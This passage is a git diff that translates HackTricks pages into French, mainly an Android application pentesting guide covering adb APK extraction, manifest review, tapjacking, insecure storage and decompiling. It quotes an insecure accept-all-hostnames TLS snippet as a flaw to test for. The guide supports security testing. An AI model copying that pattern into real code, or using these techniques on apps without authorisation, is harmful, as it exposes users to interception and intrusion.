particular user domain. launchctl print gui/ @@ -150,15 +145,14 @@ launchctl print system # will print detailed information about the specific launch agent. And if it’s not running or you’ve mistyped, you will get some output with a non-zero exit code: Could not find service “com.company.launchagent.label” in domain for login launchctl print gui//com.company.launchagent.label ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live). +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/misc/references.md b/misc/references.md index 9201cd246..1129e3a6f 100644 --- a/misc/references.md +++ b/misc/references.md @@ -1,18 +1,16 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@@ -34,23 +32,3 @@ {% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %} {% embed url="https://anhtai.me/oscp-fun-guide/" %} - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - diff --git a/mobile-pentesting/android-app-pentesting/README.md b/mobile-pentesting/android-app-pentesting/README.md index b2a364018..1fcba8b11 100644 --- a/mobile-pentesting/android-app-pentesting/README.md +++ b/mobile-pentesting/android-app-pentesting/README.md @@ -1,30 +1,30 @@ -# Android Applications Pentesting +# Pentesting d'applications Android
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3** -🐞 Read web3 bug tutorials +🐞 Lisez les tutoriels sur les bugs web3 -🔔 Get notified about new bug bounties +🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs -💬 Participate in community discussions +💬 Participez aux discussions de la communauté -## Android Applications Basics +## Fondamentaux des applications Android -It's highly recommended to start reading this page to know about the **most important parts related to Android security and the most dangerous components in an Android application**: +Il est fortement recommandé de commencer par lire cette page pour connaître les **parties les plus importantes liées à la sécurité Android et les composants les plus dangereux d'une application Android** : {% content-ref url="android-applications-basics.md" %} [android-applications-basics.md](android-applications-basics.md) @@ -32,22 +32,21 @@ It's highly recommended to start reading this page to know about the **most impo ## ADB (Android Debug Bridge) -This is the main tool you need to connect to an android device (emulated or physical).\ -It allows you to control your device over **USB** or **Network** from a computer, **copy** files back and forth, **install** and uninstall apps, run **shell** commands, perform **backups**, read **logs** and more. +C'est l'outil principal dont vous avez besoin pour vous connecter à un appareil Android (émulé ou physique).\ +Il vous permet de contrôler votre appareil via **USB** ou **Réseau** depuis un ordinateur, de **copier** des fichiers aller-retour, d'**installer** et de désinstaller des applications, d'exécuter des commandes **shell**, d'effectuer des **sauvegardes**, de lire des **logs** et plus encore. -Take a look to the following list of [**ADB Commands**](adb-commands.md) to learn how to use adb. +Jetez un coup d'œil à la liste suivante des [**commandes ADB**](adb-commands.md) pour apprendre à utiliser adb. ## Smali -Sometimes it is interesting to **modify the application code** to access **hidden information** (maybe well obfuscated passwords or flags). Then, it could be interesting to decompile the apk, modify the code and recompile it.\ -[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). This could be very useful as an **alternative for several tests during the dynamic analysis** that are going to presented. Then, **keep always in mid this possibility**. +Parfois, il est intéressant de **modifier le code de l'application** pour accéder à des **informations cachées** (peut-être des mots de passe bien obscurcis ou des indicateurs). Ensuite, il pourrait être intéressant de décompiler l'apk, de modifier le code et de le recompiler.\ +[**Dans ce tutoriel** vous pouvez **apprendre à décompiler un APK, modifier le code Smali et recompiler l'APK** avec la nouvelle fonctionnalité](smali-changes.md). Cela pourrait être très utile comme **alternative pour plusieurs tests pendant l'analyse dynamique** qui vont être présentés. Ensuite, **gardez toujours à l'esprit cette possibilité**. -## Other interesting tricks - -* [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) -* **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/) -* Extract APK from device: +## Autres astuces intéressantes +* [Fausser votre emplacement dans Play Store](spoofing-your-location-in-play-store.md) +* **Télécharger des APK** : [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/) +* Extraire l'APK de l'appareil : ``` adb shell pm list packages com.android.insecurebankv2 @@ -57,63 +56,61 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2- Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk ``` -
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3** -🐞 Read web3 bug tutorials +🐞 Lisez les tutoriels sur les bugs web3 -🔔 Get notified about new bug bounties +🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs -💬 Participate in community discussions +💬 Participez aux discussions de la communauté -## Static Analysis +## Analyse statique -First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\ -Please, [**read here to find information about different available decompilers**](apk-decompilers.md). +Tout d'abord, pour analyser un APK, vous devriez **jeter un coup d'œil au code Java** en utilisant un décompilateur.\ +S'il vous plaît, [**lisez ici pour trouver des informations sur les différents décompilateurs disponibles**](apk-decompilers.md). -### Looking for interesting Info +### Recherche d'informations intéressantes -Just taking a look to the **strings** of the APK you can search for **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** and anything interesting... look even for code execution **backdoors** or authentication backdoors (hardcoded admin credentials to the app). +En regardant simplement les **chaînes de caractères** de l'APK, vous pouvez rechercher des **mots de passe**, des **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des **clés API**, du **chiffrement**, des **UUID Bluetooth**, des **jetons** et tout ce qui est intéressant... cherchez même des **backdoors** d'exécution de code ou des backdoors d'authentification (identifiants administrateur codés en dur dans l'application). **Firebase** -Pay special attention to **firebase URLs** and check if it is bad configured. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Faites particulièrement attention aux **URL Firebase** et vérifiez si elles sont mal configurées. [Plus d'informations sur ce qu'est Firebase et comment l'exploiter ici.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) -### Basic understanding of the application - Manifest.xml, strings.xml +### Compréhension de base de l'application - Manifest.xml, strings.xml -Using any of the **decompilers** mentioned [**here** ](apk-decompilers.md)you will be able to read the _Manifest.xml_. You could also **rename** the **apk** file extension **to .zip** and **unzip** it.\ -Reading the **manifest** you can find **vulnerabilities**: +En utilisant l'un des **décompilateurs** mentionnés [**ici**](apk-decompilers.md), vous pourrez lire le _Manifest.xml_. Vous pouvez également **renommer** l'extension de fichier **apk en .zip** et le **décompresser**.\ +En lisant le **manifeste**, vous pouvez trouver des **vulnérabilités** : -* First of all, check if **the application is debuggeable**. A production APK shouldn't be (or others will be able to connect to it). You can check if an application is debbugeable looking in the manifest for the attribute `debuggable="true"` inside the tag _\ formation-software.co.uk ` -* **Exported activities**: Check for exported activities inside the manifest as this could be dangerous. Later in the dynamic analysis it will be explained how [you can abuse this behaviour](./#exploiting-exported-activities-authorisation-bypass). -* **Content Providers**: If an exported provider is being exposed, you could b able to access/modify interesting information. In dynamic analysis [you will learn how to abuse them](./#exploiting-content-providers-accessing-and-manipulating-sensitive-information). - * Check for **FileProviders** configurations inside the attribute `android:name="android.support.FILE_PROVIDER_PATHS"`. [Read here to learn more about FileProviders](./#fileprovider). -* **Exposed Services**: Depending on what the service is doing internally vulnerabilities could be exploited. In dynamic analysis [you will learn how to abuse them](./#exploiting-services). -* **Broadcast Receivers**: [You will learn how you can possibly exploit them](./#exploiting-broadcast-receivers) during the dynamic analysis. -* **URL scheme**: Read the code of the activity managing the schema and look for vulnerabilities managing the input of the user. More info about [what is an URL scheme here](./#url-schemes). -* **minSdkVersion**, **targetSDKVersion**, **maxSdkVersion**: They indicate the versions of Android the app will run on. It's important to keep them in mind because from a security perspective, supporting old version will allow known vulnerable versions of android to run it. +* **Activités exportées** : Vérifiez les activités exportées dans le manifeste car cela peut être dangereux. Plus tard, lors de l'analyse dynamique, il sera expliqué comment [vous pouvez exploiter ce comportement](./#exploiting-exported-activities-authorisation-bypass). +* **Fournisseurs de contenu** : Si un fournisseur exporté est exposé, vous pourriez être en mesure d'accéder/modifier des informations intéressantes. Dans l'analyse dynamique, [vous apprendrez comment les exploiter](./#exploiting-content-providers-accessing-and-manipulating-sensitive-information). + * Vérifiez les configurations des **FileProviders** à l'intérieur de l'attribut `android:name="android.support.FILE_PROVIDER_PATHS"`. [Lisez ici pour en savoir plus sur les FileProviders](./#fileprovider). +* **Services exposés** : Selon ce que le service fait en interne, des vulnérabilités pourraient être exploitées. Dans l'analyse dynamique, [vous apprendrez comment les exploiter](./#exploiting-services). +* **Récepteurs de diffusion** : [Vous apprendrez comment vous pouvez éventuellement les exploiter](./#exploiting-broadcast-receivers) lors de l'analyse dynamique. +* **Schéma d'URL** : Lisez le code de l'activité gérant le schéma et recherchez des vulnérabilités gérant l'entrée de l'utilisateur. Plus d'informations sur [ce qu'est un schéma d'URL ici](./#url-schemes). +* **minSdkVersion**, **targetSDKVersion**, **maxSdkVersion** : Ils indiquent les versions d'Android sur lesquelles l'application fonctionnera. Il est important de les garder à l'esprit car du point de vue de la sécurité, le support des anciennes versions permettra aux versions vulnérables connues d'Android de l'exécuter. -Reading **resources.arsc/strings.xml** you can find some **interesting info**: +En lisant **resources.arsc/strings.xml**, vous pouvez trouver des **informations intéressantes** : -* API Keys -* Custom schemas -* Other interesting info developers save in this file +* Clés API +* Schémas personnalisés +* Autres informations intéressantes que les développeurs enregistrent dans ce fichier ### Tapjacking -**Tapjacking** is an attack where a **malicious** **application** is launched and **positions itself on top of a victim application**. Once it visibly obscures the victim app, its user interface is designed in such a way as to trick the user to interact with it, while it is passing the interaction along to the victim app.\ -In effect, it is **blinding the user from knowing they are actually performing actions on the victim app**. - -In order to detect apps vulnerable to this attacked you should search for **exported activities** in the android manifest (note that an activity with an intent-filter is automatically exported by default). Once you have found the exported activities, **check if they require any permission**. This is because the **malicious application will need that permission also**.\ -Finally, it's important to check the code for possible **`setFilterTouchesWhenObscured`** configurations. If set to **`true`**, a button can be automatically disabled if it is obscured: +**Tapjacking** est une attaque où une **application malveillante** est lancée et **se positionne au-dessus d'une application victime**. Une fois qu'elle obscurcit visiblement l'application victime, son interface utilisateur est conçue de manière à tromper l'utilisateur pour qu'il interagisse avec elle, tout en passant l'interaction à l'application victime.\ +En effet, cela **aveugle l'utilisateur en lui faisant croire qu'il effectue réellement des actions sur l'application victime**. +Pour détecter les applications vulnérables à cette attaque, vous devriez rechercher des **activités exportées** dans le manifeste Android (notez qu'une activité avec un filtre d'intention est automatiquement exportée par défaut). Une fois que vous avez trouvé les activités exportées, **vérifiez si elles nécessitent une autorisation**. C'est parce que la **demande malveillante aura également besoin de cette autorisation**.\ +Enfin, il est important de vérifier le code pour d'éventuelles configurations de **`setFilterTouchesWhenObscured`**. Si elle est définie sur **`true`**, un bouton peut être automatiquement désactivé s'il est obscurci : ```markup ``` +Vous pouvez utiliser [**qark**](https://github.com/linkedin/qark) avec le paramètre `--exploit-apk` pour créer une application malveillante afin de tester les vulnérabilités potentielles de **Tapjacking**.\ +Un projet d'exemple implémentant ce type de fonctionnalité peut être trouvé dans [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp). -You can use [**qark**](https://github.com/linkedin/qark) with the `--exploit-apk` parameter to create a malicious application to test for possible **Tapjacking** vulnerabilities.\ -A example project implementing this kind of feature can be fund in [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp). +La mitigation est relativement simple car le développeur peut choisir de ne pas recevoir les événements tactiles lorsqu'une vue est recouverte par une autre. En utilisant la [Référence du développeur Android](https://developer.android.com/reference/android/view/View#security): -The mitigation is relatively simple as the developer may choose not to receive touch events when a view is covered by another. Using the [Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security): - -> Sometimes it is essential that an application be able to verify that an action is being performed with the full knowledge and consent of the user, such as granting a permission request, making a purchase or clicking on an advertisement. Unfortunately, a malicious application could try to spoof the user into performing these actions, unaware, by concealing the intended purpose of the view. As a remedy, the framework offers a touch filtering mechanism that can be used to improve the security of views that provide access to sensitive functionality. +> Parfois, il est essentiel qu'une application puisse vérifier qu'une action est effectuée avec la pleine connaissance et le consentement de l'utilisateur, comme accorder une demande d'autorisation, effectuer un achat ou cliquer sur une publicité. Malheureusement, une application malveillante pourrait essayer de tromper l'utilisateur en effectuant ces actions, sans le savoir, en dissimulant l'objectif prévu de la vue. Pour remédier à cela, le framework offre un mécanisme de filtrage tactile qui peut être utilisé pour améliorer la sécurité des vues qui fournissent un accès à des fonctionnalités sensibles. > -> To enable touch filtering, call [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) or set the android:filterTouchesWhenObscured layout attribute to true. When enabled, the framework will discard touches that are received whenever the view's window is obscured by another visible window. As a result, the view will not receive touches whenever a toast, dialog or other window appears above the view's window. +> Pour activer le filtrage tactile, appelez [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ou définissez l'attribut de mise en page android:filterTouchesWhenObscured sur true. Lorsqu'il est activé, le framework supprimera les touches reçues chaque fois que la fenêtre de la vue est masquée par une autre fenêtre visible. Par conséquent, la vue ne recevra pas de touches chaque fois qu'un toast, une boîte de dialogue ou une autre fenêtre apparaîtra au-dessus de la fenêtre de la vue. -### Task Hijacking +### Détournement de tâche {% content-ref url="android-task-hijacking.md" %} [android-task-hijacking.md](android-task-hijacking.md) {% endcontent-ref %} -### Insecure data storage +### Stockage de données non sécurisé -**Internal Storage** +**Stockage interne** -Files **created** on **internal** storage are **accessible** only by the **app**. This protection is implemented by Android and is sufficient for most applications. But developers often use `MODE_WORLD_READBALE` & `MODE_WORLD_WRITABLE` to give access to those files to a different application, but this doesn’t limit other apps(malicious) from accessing them.\ -During the **static** analysis **check** for the use of those **modes**, during the **dynamic** analysis **check** the **permissions** of the files created (maybe some of them are worldwide readable/writable).\ -[More information about this vulnerability and how to fix it here.](https://manifestsecurity.com/android-application-security-part-8/) +Les fichiers **créés** sur le **stockage interne** sont **accessibles** uniquement par l'**application**. Cette protection est mise en œuvre par Android et est suffisante pour la plupart des applications. Mais les développeurs utilisent souvent `MODE_WORLD_READBALE` & `MODE_WORLD_WRITABLE` pour donner accès à ces fichiers à une autre application, mais cela ne limite pas les autres applications (malveillantes) à y accéder.\ +Lors de l'**analyse statique**, vérifiez l'utilisation de ces **modes**, lors de l'**analyse dynamique**, vérifiez les **autorisations** des fichiers créés (peut-être que certains d'entre eux sont lisibles/inscriptibles dans le monde entier).\ +[Plus d'informations sur cette vulnérabilité et comment la corriger ici.](https://manifestsecurity.com/android-application-security-part-8/) -**External Storage** +**Stockage externe** -Files created on **external storage**, such as SD Cards, are **globally readable and writable**. Because external storage can be removed by the user and also modified by any application, you should **not store sensitive information using external storage**.\ -As with data from any untrusted source, you should **perform input validation** when handling **data from external storage**. We strongly recommend that you not store executables or class files on external storage prior to dynamic loading. If your app does retrieve executable files from external storage, the files should be signed and cryptographically verified prior to dynamic loading.\ -Info taken from [here](https://manifestsecurity.com/android-application-security-part-8/). +Les fichiers créés sur le **stockage externe**, tels que les cartes SD, sont **lisibles et inscriptibles à l'échelle mondiale**. Étant donné que le stockage externe peut être supprimé par l'utilisateur et également modifié par n'importe quelle application, vous ne devez **pas stocker d'informations sensibles en utilisant le stockage externe**.\ +Comme pour les données provenant de toute source non fiable, vous devez **valider les entrées** lors de la manipulation des **données provenant du stockage externe**. Nous vous recommandons vivement de ne pas stocker d'exécutables ou de fichiers de classe sur le stockage externe avant le chargement dynamique. Si votre application récupère des fichiers exécutables à partir du stockage externe, les fichiers doivent être signés et vérifiés cryptographiquement avant le chargement dynamique.\ +Informations prises à partir de [ici](https://manifestsecurity.com/android-application-security-part-8/). -External storage can be **accessed** in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` +Le stockage externe peut être **accédé** dans `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` {% hint style="info" %} -Starting with Android 4.4 (**API 17**), the SD card has a directory structure which **limits access from an app to the directory which is specifically for that app**. This prevents malicious application from gaining read or write access to another app's files. +À partir d'Android 4.4 (**API 17**), la carte SD dispose d'une structure de répertoire qui **limite l'accès d'une application au répertoire spécifiquement destiné à cette application**. Cela empêche les applications malveillantes d'obtenir un accès en lecture ou en écriture aux fichiers d'une autre application. {% endhint %} -**Sensitive data stored in clear-text** +**Données sensibles stockées en clair** -* **Shared preferences**: Android allow to each application to easily save xml files in the path `/data/data//shared_prefs/` and sometimes it's possible to find sensitive information in clear-text in that folder. -* **Databases**: Android allow to each application to easily save sqlite databases in the path `/data/data//databases/` and sometimes it's possible to find sensitive information in clear-text in that folder. +* **Préférences partagées**: Android permet à chaque application de facilement enregistrer des fichiers xml dans le chemin `/data/data//shared_prefs/` et parfois il est possible de trouver des informations sensibles en clair dans ce dossier. +* **Bases de données**: Android permet à chaque application de facilement enregistrer des bases de données sqlite dans le chemin `/data/data//databases/` et parfois il est possible de trouver des informations sensibles en clair dans ce dossier. -### Broken TLS +### TLS cassé -**Accept All Certificates** - -For some reason sometimes developers accept all the certificates even if for example the hostname does not match with lines of code like the following one: +**Accepter tous les certificats** +Pour une raison quelconque, parfois les développeurs acceptent tous les certificats même si, par exemple, le nom d'hôte ne correspond pas avec des lignes de code comme celle-ci: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` +Une bonne façon de tester cela est d'essayer de capturer le trafic en utilisant un proxy comme Burp sans autoriser Burp CA à l'intérieur de l'appareil. De plus, vous pouvez générer avec Burp un certificat pour un nom d'hôte différent et l'utiliser. -A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. +### Cryptographie cassée -### Broken Cryptography +**Mauvais processus de gestion de clés** -**Poor Key Management Processes** +Certains développeurs enregistrent des données sensibles dans le stockage local et les chiffrent avec une clé codée en dur/prévisible dans le code. Cela ne devrait pas être fait car une rétro-ingénierie pourrait permettre aux attaquants d'extraire les informations confidentielles. -Some developers save sensitive data in the local storage and encrypt it with a key hardcoded/predictable in the code. This shouldn't be done as some reversing could allow attackers to extract the confidential information. +**Utilisation d'algorithmes non sécurisés et/ou obsolètes** -**Use of Insecure and/or Deprecated Algorithms** +Les développeurs ne devraient pas utiliser des **algorithmes obsolètes** pour effectuer des **vérifications** d'autorisation, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hachages** sont utilisés pour stocker des mots de passe par exemple, des hachages résistants à la force brute devraient être utilisés avec un sel. -Developers shouldn't use **deprecated algorithms** to perform authorisation **checks**, **store** or **send** data. Some of these algorithms are: RC4, MD4, MD5, SHA1... If **hashes** are used to store passwords for example, hashes brute-force **resistant** should be used with salt. +### Autres vérifications -### Other checks +* Il est recommandé d'**obfusquer l'APK** pour rendre plus difficile le travail de rétro-ingénierie des attaquants. +* Si l'application est sensible (comme les applications bancaires), elle devrait effectuer ses **propres vérifications pour voir si le mobile est rooté** et agir en conséquence. +* Si l'application est sensible (comme les applications bancaires), elle devrait vérifier si un **émulateur** est utilisé. +* Si l'application est sensible (comme les applications bancaires), elle devrait **vérifier son intégrité avant de l'exécuter** pour vérifier si elle a été modifiée. +* Utilisez [**APKiD**](https://github.com/rednaga/APKiD) pour vérifier quel compilateur/packer/obfuscateur a été utilisé pour construire l'APK. -* It's recommended to **obfuscate the APK** to difficult the reverse engineer labour to attackers. -* If the app is sensitive (like bank apps), it should perform it's **own checks to see if the mobile is rooted** and act in consequence. -* If the app is sensitive (like bank apps), it should check if an **emulator** is being used. -* If the app is sensitive (like bank apps), it should **check it's own integrity before executing** it to check if it was modified. -* Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK +### Application React Native -### React Native Application - -Read the following page to learn how to easily access javascript code of React applications: +Lisez la page suivante pour apprendre comment accéder facilement au code JavaScript des applications React : {% content-ref url="react-native-application.md" %} [react-native-application.md](react-native-application.md) {% endcontent-ref %} -### Xamarin Applications - -**Xamarin** apps are written in **C#**, in order to access the C# code **decompressed,** you need to get the files from the **apk**: +### Applications Xamarin +Les applications **Xamarin** sont écrites en **C#**, pour accéder au code C# **décompressé**, vous devez obtenir les fichiers de l'**apk** : ```bash 7z r app.apk #Or any other zip decompression cmd ``` - -Then, decompress all the DLsL using [**xamarin-decompress**](https://github.com/NickstaDB/xamarin-decompress)**:** - +Ensuite, décompressez tous les fichiers DLsL à l'aide de [**xamarin-decompress**](https://github.com/NickstaDB/xamarin-decompress)**:** ``` python3 xamarin-decompress.py -o /path/to/decompressed/apk ``` +Et enfin, vous pouvez utiliser [**ces outils recommandés**](../../reversing/reversing-tools-basic-methods/#net-decompiler) pour **lire le code C#** des DLLs. -and finally you can use [**these recommended tools**](../../reversing/reversing-tools-basic-methods/#net-decompiler) to **read C# code** from the DLLs. +### Analyse de code statique automatisée -### Automated Static Code Analysis +L'outil [**mariana-trench**](https://github.com/facebook/mariana-trench) est capable de trouver des **vulnérabilités** en **scannant** le **code** de l'application. Cet outil contient une série de **sources connues** (qui indiquent à l'outil les **endroits** où l'**entrée** est **contrôlée par l'utilisateur**), de **sinks** (qui indiquent à l'outil les **endroits dangereux** où une entrée utilisateur malveillante pourrait causer des dommages) et de **règles**. Ces règles indiquent la **combinaison** de **sources-sinks** qui indique une vulnérabilité. -The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and 